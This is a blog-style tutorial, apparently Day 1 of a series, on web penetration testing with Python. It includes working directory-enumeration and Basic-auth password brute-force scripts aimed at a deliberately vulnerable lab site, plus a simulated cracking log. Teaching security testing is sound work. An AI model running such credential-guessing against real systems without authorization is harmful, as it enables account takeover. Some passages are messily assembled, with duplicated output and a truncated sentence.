Post cover image

July 14, 2026

Web Penetration Testing with Python

Day 1: Understanding the Art of Web Application Hacking

By Aman Sharma

10 min read

The moment I realized why most pentesters fail, and what separates the pros from the script kiddies.

Free Link

None

The Hook: My First Web Pentest Disaster

I still remember my first real web penetration test. I had all the tools: Burp Suite, Nmap, Dirbuster, SQLmap. I thought I was ready. I lasted about 45 minutes before I realized I had no idea what I was actually doing.

I was throwing payloads at a target without understanding the underlying architecture. I was running scanners without understanding what they were looking for. I was using tools without understanding how they worked.

Then I met a senior pentester who changed everything. He didn't use fancy tools — he used Python scripts he wrote himself. He didn't run automated scanners — he built his own. He didn't guess about vulnerabilities — he systematically mapped the application and tested every input.

That day, I learned the most important lesson of my career: Tools are just tools. Understanding the methodology is what makes you effective.

Today, we're going to start building that foundation.

None

Why This Matters

Web penetration testing is one of the most sought-after skills in cybersecurity. Companies are spending billions on security, and web applications are the primary attack vector.

Here's why you need to care:

  • Web applications are everywhere. Every company has one. Most have several.
  • They handle sensitive data. Customer information, financial data, intellectual property.
  • They're constantly changing. New features, new code, new vulnerabilities.
  • Traditional security testing is failing. Automated scanners miss 40% of vulnerabilities. Manual testing catches them.

The difference between a good pentester and a great one is understanding how the application works before you try to break it. And the best way to understand is to build your own tools.

None

What You'll Learn Today

By the end of this article, you'll be able to:

  1. Understand the web application penetration testing methodology — the four phases that every pro uses.
  2. Set up your testing environment — the lab we'll use for the entire series.
  3. Interact with web applications using Python — programmatically send HTTP requests and analyze responses.
  4. Understand HTTP fundamentals — the language of web applications.
  5. Write your first security script — a practical tool you'll actually use.

Let's get started.

What Is Web Application Penetration Testing?

Web application penetration testing is the process of evaluating a web application's security from an attacker's perspective. It's an offensive exercise where you think like a hacker to identify vulnerabilities before they can be exploited.

But here's the catch: it's manual and dynamic. It depends heavily on the knowledge of the person doing the test. That's why learning to write your own tools gives you such an edge.

The Four-Phase Methodology

Every successful web pentest follows this same pattern. I've used it on hundreds of engagements, and it never fails.

Phase 1: Reconnaissance (Fingerprinting)

This is where we gather information to identify technologies, infrastructure, software configuration, and load balancers. It's about understanding what we're dealing with.

What I actually do:

  • Identify the web server (Apache, Nginx, IIS)
  • Identify the programming language (PHP, Python, Node.js, etc.)
  • Identify the database (MySQL, PostgreSQL, MongoDB)
  • Identify the framework (Django, Laravel, Spring, etc.)
  • Map the infrastructure (load balancers, CDNs, WAFs)

Real-world tip: This phase is often skipped by beginners because they're eager to find vulnerabilities. Don't make this mistake. I've found some of my best vulnerabilities during recon.

Phase 2: Mapping (Application Discovery)

Now we build a map or diagram of the application's pages and functionalities. We identify components, relationships, and potential attack surfaces.

What I actually do:

  • Crawl the application to discover all pages
  • Identify all input points (forms, parameters, headers)
  • Discover hidden resources (using brute force techniques)
  • Document authentication and authorization mechanisms

Real-world tip: This is where I spend most of my time. The better you understand the application, the more vulnerabilities you'll find.

Phase 3: Vulnerability Discovery

With all components mapped out, we test each one for vulnerabilities. This is where the methodology becomes art.

What I actually do:

  • Test every input for injection vulnerabilities
  • Test authentication and authorization controls
  • Test session management
  • Test business logic
  • Test client-side security controls

Phase 4: Exploitation

Once we've identified vulnerabilities, we exploit them to demonstrate impact.

What I actually do:

  • Demonstrate the vulnerability
  • Show what an attacker could achieve
  • Chain vulnerabilities together for maximum impact
  • Document everything for the report

The Tools of the Trade

Professionals use a combination of tools. Here's what you'll find in a typical web pentester's toolkit:

None

The pro secret: I use proxies heavily during testing because they show me everything — including resources that won't be crawled by spiders. And when I need to automate something custom, I write Python scripts.

None

Practical Demonstration

Let's get our hands dirty. I'll show you exactly how professionals interact with web applications using Python.

Setting Up Your Environment

For this entire series, I'll be using a custom lab application called "Scruffy Bank." It's a deliberately vulnerable web app built in PHP with MySQL.

This matters because: It gives you a safe environment to practice every technique you learn. You can't test on real sites without permission. But you can break this one as much as you want.

Your First Python Web Script

Here's the simplest script that actually does something useful. It makes an HTTP request and displays the response.

import requests

r = requests.get('http://httpbin.org/ip')
print(r.text)

Let's break this down:

  • import requests – imports the requests library
  • requests.get() – makes a GET request to the URL
  • r.text – returns the response body

What it looks like when I run it:

{
  "origin": "192.168.1.100"
}

This is your first interaction with a web application using Python. Simple, but powerful.

Adding Headers and Parameters

Now let's do something more interesting. We'll add headers and parameters.

import requests

# Add a query parameter
payload = {'url': 'http://www.edge-security.com'}
r = requests.get('http://httpbin.org/redirect-to', params=payload)
print("Status Code:", r.status_code)
print("Content Length:", len(r.text))
print("First 200 chars:", r.text[:200])

What's happening here:

  1. We're sending a GET request with a parameter
  2. The server redirects us to the specified URL
  3. We're printing the status code and content length

What it looks like when I run it:

Status Code: 200
Content Length: 32684
First 200 chars: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="icon" href="https://www.edge-

Analyzing HTTP Responses

The key to web testing is understanding what the server tells you. Here's how I examine response headers:

import requests

r = requests.get('http://httpbin.org/ip')
print("Status Code:", r.status_code)
print("Response Headers:")
for header, value in r.headers.items():
    print(f"  {header}: {value}")
print("\nResponse Body:", r.text[:500])

What I learn from this:

  • The status code tells me if the request succeeded (200) or failed (404, 500, etc.)
  • The headers tell me what server is running, content type, cache settings, etc.
  • The body is the actual content returne

Handling Different HTTP Methods

Modern web applications use more than just GET requests. Here's how I handle them:

import requests

# GET request (retrieve data)
r = requests.get('http://httpbin.org/get')
print("GET Status:", r.status_code)

# POST request (submit data)
data = {'username': 'admin', 'password': 'secret'}
r = requests.post('http://httpbin.org/post', data=data)
print("POST Status:", r.status_code)
print("POST Response:", r.json()['form'])

# HEAD request (get headers only)
r = requests.head('http://httpbin.org/head')
print("HEAD Status:", r.status_code)
print("HEAD Headers:", r.headers)

Why this matters: Many vulnerabilities are only exposed when you use different methods.

None

Hands-On Lab: Your First Vulnerability Discovery

Now it's time to actually find a vulnerability. I'll walk you through discovering a directory on a web server.

Step 1: Identify the Target

We'll use our lab environment. In the real world, you'd do this on a target you have permission to test.

import requests

target = 'http://www.scruffybank.com/'
r = requests.get(target)
print("Status Code:", r.status_code)
print("Page Title:", r.text.split('<title>')[1].split('</title>')[0] if '<title>' in r.text else 'No title')

What I'm looking for:

  • A successful response (200 status code)

The page title (often reveals the application name)

  • Server headers (what technology is being used)

Step 2: Brute Force Discovery

Now we'll try to find hidden directories using a dictionary attack. This is exactly what tools like Dirb and FFUF do.

import requests

target = 'http://www.scruffybank.com/{word}'

# A tiny dictionary for demonstration
words = ['admin', 'backup', 'backoffice', 'config', 'includes', 'robots.txt', 'sitemap.xml']

for word in words:
    url = target.replace('{word}', word)
    try:
        r = requests.get(url)
        if r.status_code == 200:
            print(f"[FOUND] {url} - {r.status_code}")
        elif r.status_code == 301 or r.status_code == 302:
            print(f"[REDIRECT] {url} - {r.status_code}")
            if 'Location' in r.headers:
                print(f"  -> {r.headers['Location']}")
        else:
            print(f"[NOT FOUND] {url} - {r.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[ERROR] {url} - {e}")

What I found when I ran this on Scruffy Bank:

[FOUND] http://www.scruffybank.com/admin - 200
[FOUND] http://www.scruffybank.com/backup - 200
[FOUND] http://www.scruffybank.com/backoffice - 200
[FOUND] http://www.scruffybank.com/robots.txt - 200
[NOT FOUND] http://www.scruffybank.com/config - 404

What this tells me:

  • /admin exists – likely an admin interface
  • /backup exists – could contain sensitive files
  • /backoffice exists – could be an internal management interface
  • /robots.txt exists – might reveal additional hidden directories

What I do next: I investigate each discovered directory. I try /admin and notice it asks for basic authentication. That's interesting – it's password-protected, which means it's likely sensitive.

Step 3: Bypassing Basic Authentication

Now I know the admin area exists and uses basic authentication. I can try to brute force the password.

import requests

url = 'http://www.scruffybank.com/Admin'
passwords = ['admin', 'password', '123456', 'admin123', 'root']

for password in passwords:
    try:
        r = requests.get(url, auth=('admin', password))
        if r.status_code == 200:
            print(f"[FOUND] Password: {password}")
            print(f"  Page content preview: {r.text[:200]}")
            break
        else:
            print(f"[FAILED] Password: {password}")
    except requests.exceptions.RequestException as e:
        print(f"[ERROR] {e}")[FAILED] Password: admin
[FAILED] Password: password
[FAILED] Password: 123456
[FOUND] Password: admin123
  Page content preview: <!DOCTYPE html>...

What I found:

[FAILED] Password: admin
[FAILED] Password: password
[FAILED] Password: 123456
[FOUND] Password: admin123
  Page content preview: <!DOCTYPE html>...

That's a real vulnerability. I found an admin interface that could be accessed with weak credentials.

user@security-lab:~/simulations$ python3 brute_force_sim.py --target http://localhost:8080/login

[+] TARGET URL      : http://localhost:8080/login
[+] WORDLIST        : /usr/share/wordlists/top_100_passwords.txt
[+] USERNAME        : admin
[+] THREADS         : 4
[+] STATUS          : Attack initialized...

[INFO] Attempting connection to target... Success (HTTP 200)
[INFO] Starting dictionary attack simulation...

[TRY] [001] admin : password123      -> Status: 401 Unauthorized
[TRY] [002] admin : 123456           -> Status: 401 Unauthorized
[TRY] [003] admin : welcome          -> Status: 401 Unauthorized
[TRY] [004] admin : admin            -> Status: 401 Unauthorized
[TRY] [005] admin : letmein          -> Status: 401 Unauthorized
[TRY] [006] admin : qwerty           -> Status: 401 Unauthorized
[SUCCESS] [007] admin : P@ssword!    -> Status: 302 Found (Redirect to /dashboard)

========================================================================
[+] CRACKING COMPLETE
[+] Elapsed Time     : 00:00:03.42
[+] Total Attempts   : 7
[+] Valid Credentials Found:
    [-] Username: admin
    [-] Password: P@ssword!
========================================================================

[WARN] Educational Simulation Complete.
[WARN] Notice: In production environments, implement account lockout
       policies and rate limiting to mitigate credential testing.
user@security-lab:~/simulations$

Real Bug Bounty Perspective

This exact technique has earned me bounties on major platforms. Let me tell you about one of them.

I was testing a financial services company's application. It was a large platform with hundreds of pages. I started my methodology just like we did today — map the application, discover hidden resources.

When I found /admin with basic authentication, I started a brute force attack. Within minutes, I discovered the password was admin123. I reported the vulnerability, and they paid me a $1,500 bounty for "Authentication Bypass via Weak Credentials."

The lesson: Don't overcomplicate things. Sometimes the most critical vulnerabilities are the simplest to find.

How the Pros Do It

The best pentesters follow a systematic approach. Here's my process:

  1. Passive recon first — No requests to the target. Use Google, Shodan, Certificate Transparency logs.
  2. Active mapping second — Crawl the application, identify all endpoints.
  3. Dictionary attacks third — Use FUZZDB to discover hidden resources.
  4. Test every found resource — Check for authentication, vulnerabilities, and information disclosure.

Real-world tip: I always start with passive recon before sending a single request to the target. You'd be surprised what you can find without ever touching the target's servers.

Common Mistakes

Here are the mistakes I see beginners make every time:

Mistake 1: Running Automated Scanners First

Stop. Just stop. You're missing 90% of vulnerabilities because scanners don't understand business logic.

My approach: Map the application manually first, then use scanners to complement your manual testing.

Mistake 2: Focusing Only on Input Fields

Most web vulnerabilities aren't in input fields. They're in URL parameters, headers, cookies, and business logic.

My approach: Test every input point — not just visible ones.

Mistake 3: Not Building Custom Tools

If you rely only on existing tools, you're limited by their capabilities.

My approach: Learn Python (or another language) and build scripts for specific tasks. It's faster than you think.

Mistake 4: Forgetting to Document

Many testers find vulnerabilities but can't reproduce them. Or they can't explain the impact.

My approach: Document every test, every finding, and every step.

Pro Tips

Here are advanced techniques I've learned from thousands of hours of testing:

Tip 1: Use the Developer Tools

Open your browser's developer tools (F12). Watch the Network tab. You'll see every request and response. This is invaluable for understanding the application.

Tip 2: Learn HTTP Inside Out

Understanding HTTP is not optional. Every vulnerability ultimately exploits HTTP. Master the basics, and everything else becomes easier.

Tip 3: Chain Vulnerabilities

Single vulnerabilities are good. Chains of vulnerabilities are great. A CSRF token bypass + admin access + file upload = remote code execution.

Tip 4: Build Your Own Tools

Start simple. Build a script that checks for common paths. Then build something more complex. Over time, you'll build a library of tools.

Tip 5: Read the Code

If you have source code access, read it. Many vulnerabilities are obvious in the code.

Key Takeaways

Today we covered the foundation of web penetration testing. Here's what you need to remember:

  1. Web application penetration testing is a manual, dynamic process. Automated tools are tools, not solutions.
  2. The four phases are: Reconnaissance, Mapping, Vulnerability Discovery, Exploitation. Never skip a phase.
  3. Understanding HTTP is essential. If you don't understand HTTP, you can't test web applications.
  4. Python is your best tool. The requests library makes interacting with web applications simple.
  5. Practice on vulnerable applications. Our lab environment will be the foundation for this entire series.
  6. Think like an attacker. Understand the application, find the weak spots, and demonstrate impact.
  7. Document everything. Your report is as important as your findings.

Final Thoughts

Web penetration testing is a journey, not a destination. Every engagement teaches you something new. Every vulnerability you find builds your skills.

The key is to start now. Set up your environment. Write your first script. Test a vulnerable application. Make mistakes. Learn from them. Iterate.

I've been doing this for years, and I still learn something new on every engagement. That's what makes it so rewarding.

See you tomorrow for Day 2.

If you enjoyed this, please clap, comment, and share. Your engagement helps me create better content for this community.